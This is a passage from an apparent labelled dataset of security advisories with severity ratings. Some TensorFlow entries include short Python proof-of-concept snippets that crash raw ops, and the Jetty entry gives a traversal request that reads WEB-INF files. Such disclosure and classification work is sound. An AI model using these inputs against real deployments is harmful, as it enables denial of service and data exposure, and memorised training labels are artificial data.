Yakun Zhang of Baidu X-Team.", "text_raw": "Invalid validation in `SparseMatrixSparseCholesky`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops\n\nindices_array = np.array([[0, 0]])\nvalue_array = np.array([-10.0], dtype=np.float32)\ndense_shape = [1, 1]\nst = tf.SparseTensor(indices_array, value_array, dense_shape)\n\ninput = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(\n       st.indices, st.values, st.dense_shape)\n\npermutation = tf.constant([], shape=[1, 0], dtype=tf.int32)\n \ntf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/kernels/sparse/sparse_cholesky_op.cc#L85-L86) fails to properly validate the input arguments: \n                          \n```cc \nvoid Compute(OpKernelContext* ctx) final {\n  ...\n  const Tensor& input_permutation_indices = ctx->input(1);\n  ...\n  ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);\n  ...\n}\n\nvoid ValidateInputs(OpKernelContext* ctx,\n    const CSRSparseMatrix& sparse_matrix,\n    const Tensor& permutation_indices, int* batch_size,\n    int64* num_rows) {\n  OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)\n  ...\n}\n```\nAlthough `ValidateInputs` is called and there are checks in the body of this function, the code proceeds to the next line in `ValidateInputs` since [`OP_REQUIRES`](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/framework/op_requires.h#L41-L48) is a macro that only exits the current function.\n\n```cc\n#define OP_REQUIRES(CTX, EXP, STATUS)                     \\\n  do {                                                    \\\n    if (!TF_PREDICT_TRUE(EXP)) {                          \\\n      CheckNotInComputeAsync((CTX), \"OP_REQUIRES_ASYNC\"); \\\n      (CTX)->CtxFailure(__FILE__, __LINE__, (STATUS));    \\\n      return;                                             \\\n    }                                                     \\\n  } while (0)\n```\n\nThus, the first validation condition that fails in `ValidateInputs` will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check `context->status()` or to convert `ValidateInputs` to return a `Status`.\n\n### Patches\nWe have patched the issue in GitHub commit [e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd](https://github.com/tensorflow/tensorflow/commit/e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "1ffbd2f155dd29b7aa15", "text": "Bash command injection in Apache Zeppelin\n\nbash command injection vulnerability in Apache Zeppelin allows an attacker to inject system commands into Spark interpreter settings. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.", "text_raw": "Bash command injection in Apache Zeppelin\n\n[Severity: CRITICAL]\n\nbash command injection vulnerability in Apache Zeppelin allows an attacker to inject system commands into Spark interpreter settings. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "84cfb91b89918b3d703a", "text": "Data races in dces\n\nAn issue was discovered in the dces crate through 2020-12-09 for Rust. The World type is marked as Send but lacks bounds on its EntityStore and ComponentStore. This allows non-thread safe `EntityStore` and `ComponentStore`s to be sent\nacross threads and cause data races.", "text_raw": "Data races in dces\n\n[Severity: HIGH]\n\nAn issue was discovered in the dces crate through 2020-12-09 for Rust. The World type is marked as Send but lacks bounds on its EntityStore and ComponentStore. This allows non-thread safe `EntityStore` and `ComponentStore`s to be sent\nacross threads and cause data races.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f11d11b8913d8208cfb5", "text": "Cross-Site Request Forgery in Vert.x-Web framework\n\nVert.x-Web framework v4.0 milestone 1-4 does not perform a correct CSRF verification. Instead of comparing the CSRF token in the request with the CSRF token in the cookie, it compares the CSRF token in the cookie against a CSRF token that is stored in the session. An attacker does not even need to provide a CSRF token in the request because the framework does not consider it. The cookies are automatically sent by the browser and the verification will always succeed, leading to a successful CSRF attack.", "text_raw": "Cross-Site Request Forgery in Vert.x-Web framework\n\n[Severity: HIGH]\n\nVert.x-Web framework v4.0 milestone 1-4 does not perform a correct CSRF verification. Instead of comparing the CSRF token in the request with the CSRF token in the cookie, it compares the CSRF token in the cookie against a CSRF token that is stored in the session. An attacker does not even need to provide a CSRF token in the request because the framework does not consider it. The cookies are automatically sent by the browser and the verification will always succeed, leading to a successful CSRF attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "3ea6630effae23d1d434", "text": "ReDOS in IS-SVG\n\nA vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.", "text_raw": "ReDOS in IS-SVG\n\n[Severity: HIGH]\n\nA vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "5a8f03f76674b632c8c3", "text": "COMMAX Smart Home IoT Control System CDP-1020n SQL Injection Authentication Bypass", "text_raw": "COMMAX Smart Home IoT Control System CDP-1020n SQL Injection Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "81a210bcd0e178240e55", "text": "Spring Security uses insufficiently random values\n\nSpring Security versions 4.2.x prior to 4.2.12, 5.0.x prior to 5.0.12, and 5.1.x prior to 5.1.5 contain an insecure randomness vulnerability when using SecureRandomFactoryBean#setSeed to configure a SecureRandom instance. In order to be impacted, an honest application must provide a seed and make the resulting random material available to an attacker for inspection.", "text_raw": "Spring Security uses insufficiently random values\n\n[Severity: MEDIUM]\n\nSpring Security versions 4.2.x prior to 4.2.12, 5.0.x prior to 5.0.12, and 5.1.x prior to 5.1.5 contain an insecure randomness vulnerability when using SecureRandomFactoryBean#setSeed to configure a SecureRandom instance. In order to be impacted, an honest application must provide a seed and make the resulting random material available to an attacker for inspection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-16", "split": "train"}
-{"id": "a922e6b9ea87e90360ec", "text": "Micro Focus Operation Bridge Report (OBR) Remote Code Execution Vulnerability\n\nAffected: Micro Focus Operation Bridge Reporter (OBR)\n\nMicro Focus Operation Bridge Report (OBR) contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Micro Focus Operation Bridge Report (OBR) Remote Code Execution Vulnerability\n\nAffected: Micro Focus Operation Bridge Reporter (OBR)\n\nMicro Focus Operation Bridge Report (OBR) contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "02ab7db0f959388a8073", "text": "PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities", "text_raw": "PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-14", "split": "train"}
-{"id": "8ce6b9c1399d2e9bc414", "text": "Arbitrary code execution due to an uncontrolled search path for the git binary\n\n### Impact\n\nThe go language recently addressed a security issue in the way that binaries are found before being executed. Some operating systems like Windows persist to have the current directory being part of the default search path, and having priority over the system-wide path.\n\nThis means that it's possible for a malicious user to craft for example a `git.bat` command, commit it and push it in a repository. Later when git-bug search for the git binary, this malicious executable can take priority  and be executed.\n\n### Who is impacted\n\nThis issue happen on Windows and some other operating systems with a badly configured PATH.\n\nAll version prior to 0.7.2 are vulnerable to this issue.\n\n### Patches\n\nVersion 0.7.2 fix this issue. Users should update as soon as possible.\n\n### References\n\nMore details about this issue can be found [here](https://blog.golang.org/path-security).", "text_raw": "Arbitrary code execution due to an uncontrolled search path for the git binary\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe go language recently addressed a security issue in the way that binaries are found before being executed. Some operating systems like Windows persist to have the current directory being part of the default search path, and having priority over the system-wide path.\n\nThis means that it's possible for a malicious user to craft for example a `git.bat` command, commit it and push it in a repository. Later when git-bug search for the git binary, this malicious executable can take priority  and be executed.\n\n### Who is impacted\n\nThis issue happen on Windows and some other operating systems with a badly configured PATH.\n\nAll version prior to 0.7.2 are vulnerable to this issue.\n\n### Patches\n\nVersion 0.7.2 fix this issue. Users should update as soon as possible.\n\n### References\n\nMore details about this issue can be found [here](https://blog.golang.org/path-security).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "05ef3ee42473dc3e46d0", "text": "Incorrect Permission Assignment for Critical Resource\tin Hashicorp Consul\n\nHashiCorp Consul and Consul Enterprise failed to enforce changes to legacy ACL token rules due to non-propagation to secondary data centers. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4.\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/structs", "text_raw": "Incorrect Permission Assignment for Critical Resource\tin Hashicorp Consul\n\n[Severity: MEDIUM]\n\nHashiCorp Consul and Consul Enterprise failed to enforce changes to legacy ACL token rules due to non-propagation to secondary data centers. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4.\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/structs", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "0aa592f5b78df96acc72", "text": "Malicious Package in signqle\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in signqle\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fbdd3d1969b7930f4a03", "text": "Data races in lock_api\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of RwLockWriteGuard unsoundness.", "text_raw": "Data races in lock_api\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of RwLockWriteGuard unsoundness.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b4a2356f3aa0278ad3a4", "text": "Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service", "text_raw": "Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "f2a4f5fa15967875d002", "text": "CHECK-fail in `tf.raw_ops.IRFFT`\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.IRFFT`:\n\n```python\nimport tensorflow as tf\n\nvalues = [-10.0] * 130\nvalues[0] = -9.999999999999995\ninputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)\ninputs = tf.cast(inputs, dtype=tf.complex64)\nfft_length = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)\n```\n\nThe above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.\n\n### Patches\nWe have patched the issue in GitHub commit [1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in `tf.raw_ops.IRFFT`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.IRFFT`:\n    \n```python\nimport tensorflow as tf\n\nvalues = [-10.0] * 130\nvalues[0] = -9.999999999999995\ninputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)\ninputs = tf.cast(inputs, dtype=tf.complex64)\nfft_length = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)\n``` \n    \nThe above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.\n\n### Patches\nWe have patched the issue in GitHub commit [1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).\n  \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. ", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c0c3262db311302ecfcb", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution", "text_raw": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-08-13", "split": "train"}
-{"id": "bd6fb284b02ae0621ffc", "text": "Denial of Service in http-live-simulator\n\nVersions of `http-live-simulator` prior to 1.0.8 are vulnerable to Denial of Service. The package fails to catch an exception that causes the Node process to crash, effectively shutting down the server. This allows an attacker to send an HTTP request that crashes the server.\n\n## Recommendation\n\nUpgrade to version 1.0.8 or later.", "text_raw": "Denial of Service in http-live-simulator\n\n[Severity: MEDIUM]\n\nVersions of `http-live-simulator` prior to 1.0.8 are vulnerable to Denial of Service. The package fails to catch an exception that causes the Node process to crash, effectively shutting down the server. This allows an attacker to send an HTTP request that crashes the server.\n\n\n## Recommendation\n\nUpgrade to version 1.0.8 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0bf23e3f48bd55d76e25", "text": "Prototype Pollution in worksmith\n\nAll versions up to and including 1.0.0 of the package worksmith are vulnerable to Prototype Pollution via the setValue function.", "text_raw": "Prototype Pollution in worksmith\n\n[Severity: CRITICAL]\n\nAll versions up to and including 1.0.0 of the package worksmith are vulnerable to Prototype Pollution via the setValue function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a24d232472ff3cc6bbe9", "text": "PrestaShop autoupgrade module ZIP archives were vulnerable from CVE-2017-9841\n\n### Impact\n\nWe have identified that some autoupgrade module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\nYou can read PrestaShop official statement about this vulnerability [here](https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/).\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/autoupgrade/releases/tag/v4.10.1), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "text_raw": "PrestaShop autoupgrade module ZIP archives were vulnerable from CVE-2017-9841\n\n[Severity: HIGH]\n\n### Impact\n\nWe have identified that some autoupgrade module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\nYou can read PrestaShop official statement about this vulnerability [here](https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/).\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/autoupgrade/releases/tag/v4.10.1), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-08", "split": "train"}
-{"id": "173f8cc7eeef037d9eae", "text": "Potential for Script Injection in syntax-error\n\nVersions of `syntax-error` prior to 1.1.1 are affected by a cross-site scripting vulnerability which may allow a malicious file to execute code when browserified.\n\n## Recommendation\n\nUpdate to version 1.1.1 or later.", "text_raw": "Potential for Script Injection in syntax-error\n\n[Severity: HIGH]\n\nVersions of `syntax-error` prior to 1.1.1 are affected by a cross-site scripting vulnerability which may allow a malicious file to execute code when browserified. \n\n## Recommendation\n\nUpdate to version 1.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "5c2db511d33be6f2a769", "text": "Denial of Service in express-fileupload\n\nVersions of `express-fileupload` prior to 1.1.6-alpha.6 are vulnerable to Denial of Service. The package causes server responses to be delayed (up to 30s in internal testing) if the request contains a large `filename` of `.` characters.\n\n## Recommendation\n\nUpgrade to version 1.1.6-alpha.6 or later.", "text_raw": "Denial of Service in express-fileupload\n\n[Severity: LOW]\n\nVersions of `express-fileupload` prior to 1.1.6-alpha.6 are vulnerable to Denial of Service. The package causes server responses to be delayed (up to 30s in internal testing) if the request contains a large `filename` of `.` characters.\n\n\n\n\n## Recommendation\n\nUpgrade to version 1.1.6-alpha.6 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "02a79c11ac079ec82ac3", "text": "TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials", "text_raw": "TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-14", "split": "train"}
-{"id": "f4dfcfd1dc08e27d9453", "text": "Authorization Before Parsing and Canonicalization in jetty\n\nRelease 9.4.37 introduced a more precise implementation of [RFC3986](https://tools.ietf.org/html/rfc3986#section-3.3) with regards to URI decoding, together with some new compliance modes to optionally allow support of some URI that may have ambiguous interpretation within the Servlet specified API methods behaviours.   The default mode allowed % encoded . characters to be excluded for URI normalisation, which is correct by the RFC, but is not assumed by common Servlet implementations. The default compliance mode allows requests with URIs that contain `%2e` or `%2e%2e` segments to access protected resources within the `WEB-INF` directory.  For example a request to `/context/%2e/WEB-INF/web.xml` can retrieve the `web.xml` file.  This can reveal sensitive information regarding the implementation of a web application. Workarounds found by HttpCompliance mode RFC7230_NO_AMBIGUOUS_URIS can be enabled by updating `start.d/http.ini` to include: jetty.http.compliance=RFC7230_NO_AMBIGUOUS_URIS.", "text_raw": "Authorization Before Parsing and Canonicalization in jetty\n\n[Severity: MEDIUM]\n\nRelease 9.4.37 introduced a more precise implementation of [RFC3986](https://tools.ietf.org/html/rfc3986#section-3.3) with regards to URI decoding, together with some new compliance modes to optionally allow support of some URI that may have ambiguous interpretation within the Servlet specified API methods behaviours.   The default mode allowed % encoded . characters to be excluded for URI normalisation, which is correct by the RFC, but is not assumed by common Servlet implementations. The default compliance mode allows requests with URIs that contain `%2e` or `%2e%2e` segments to access protected resources within the `WEB-INF` directory.  For example a request to `/context/%2e/WEB-INF/web.xml` can retrieve the `web.xml` file.  This can reveal sensitive information regarding the implementation of a web application. Workarounds found by HttpCompliance mode RFC7230_NO_AMBIGUOUS_URIS can be enabled by updating `start.d/http.ini` to include: jetty.http.compliance=RFC7230_NO_AMBIGUOUS_URIS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "796a9e0081317e2c9a09", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Keycloak\n\nKeycloak up to version 6.0.0 allows the end user token (access or id token JWT) to be used as the session cookie for browser sessions for OIDC. As a result an attacker with access to service provider backend could hijack user?s browser session.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Keycloak\n\n[Severity: MEDIUM]\n\nKeycloak up to version 6.0.0 allows the end user token (access or id token JWT) to be used as the session cookie for browser sessions for OIDC. As a result an attacker with access to service provider backend could hijack user?s browser session.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "543d743c7e6d718cb880", "text": "Asymmetric Resource Consumption (Amplification) in Docker containers created by Wings\n\n### Impact\nAll versions of Pterodactyl Wings preior to `1.4.4` are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.\n\n### Patches\nUsers should upgrade to `1.4.4`.\n\n### Workarounds\nThere is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us on [Discord](https://discord.gg/pterodactyl)\n* Email us at `dane ät pterodactyl dot io`", "text_raw": "Asymmetric Resource Consumption (Amplification) in Docker containers created by Wings \n\n[Severity: MEDIUM]\n\n### Impact\nAll versions of Pterodactyl Wings preior to `1.4.4` are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.\n\n### Patches\nUsers should upgrade to `1.4.4`.\n\n### Workarounds\nThere is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us on [Discord](https://discord.gg/pterodactyl)\n* Email us at `dane ät pterodactyl dot io`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "11ebdf7a03abc314299d", "text": "Cross-site Scripting in lightning-server\n\nThis affects all versions of package lightning-server. It is possible to inject malicious JavaScript code as part of a session controller.", "text_raw": "Cross-site Scripting in lightning-server\n\n[Severity: MEDIUM]\n\nThis affects all versions of package lightning-server. It is possible to inject malicious JavaScript code as part of a session controller.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "0502d276c59fa0b36834", "text": "OrientDB Studio web management interface is vulnerable to clickjacking attacks\n\nThe Studio component in OrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 does not properly restrict use of FRAME elements, which makes it easier for remote attackers to conduct clickjacking attacks via a crafted web site.", "text_raw": "OrientDB Studio web management interface is vulnerable to clickjacking attacks\n\n[Severity: MEDIUM]\n\nThe Studio component in OrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 does not properly restrict use of FRAME elements, which makes it easier for remote attackers to conduct clickjacking attacks via a crafted web site.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "ca2dd5857e5ab32adebd", "text": "CHECK-fail in `CTCGreedyDecoder`\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.CTCGreedyDecoder`:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)\nsequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)\nmerge_repeated = False\n\ntf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1615440b17b364b875eb06f43d087381f1460a65/tensorflow/core/kernels/ctc_decoder_ops.cc#L37-L50) has a `CHECK_LT` inserted to validate some invariants. When this condition is false, the program aborts, instead of returning a valid error to the user. This abnormal termination can be weaponized in denial of service attacks.\n\n### Patches \nWe have patched the issue in GitHub commit [ea3b43e98c32c97b35d52b4c66f9107452ca8fb2](https://github.com/tensorflow/tensorflow/commit/ea3b43e98c32c97b35d52b4c66f9107452ca8fb2).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in `CTCGreedyDecoder`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.CTCGreedyDecoder`:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)\nsequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)\nmerge_repeated = False\n\ntf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)\n```\n  \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1615440b17b364b875eb06f43d087381f1460a65/tensorflow/core/kernels/ctc_decoder_ops.cc#L37-L50) has a `CHECK_LT` inserted to validate some invariants. When this condition is false, the program aborts, instead of returning a valid error to the user. This abnormal termination can be weaponized in denial of service attacks.\n\n### Patches \nWe have patched the issue in GitHub commit [ea3b43e98c32c97b35d52b4c66f9107452ca8fb2](https://github.com/tensorflow/tensorflow/commit/ea3b43e98c32c97b35d52b4c66f9107452ca8fb2).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n                      \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.        \n                      \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "a1c81015bbab23ac192e", "text": "A carefully crafted (or fuzzed) file can trigger an infinite loop in Apache Tika's BPGParser in versions of Apache Tika before 1.18.", "text_raw": "Moderate severity vulnerability that affects org.apache.tika:tika-core\n\n[Severity: MEDIUM]\n\nA carefully crafted (or fuzzed) file can trigger an infinite loop in Apache Tika's BPGParser in versions of Apache Tika before 1.18.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "95f93859eb1b2df69d58", "text": "An administrator with report and template entitlements in Apache Syncope 1.2.x before 1.2.11 and 2.0.x before 2.0.8 can use XSL Transformations (XSLT) to perform malicious operations, including but not limited to file read, file write, and code execution.", "text_raw": "High severity vulnerability that affects org.apache.syncope:syncope-core\n\n[Severity: HIGH]\n\nAn administrator with report and template entitlements in Apache Syncope 1.2.x before 1.2.11 and 2.0.x before 2.0.8 can use XSL Transformations (XSLT) to perform malicious operations, including but not limited to file read, file write, and code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
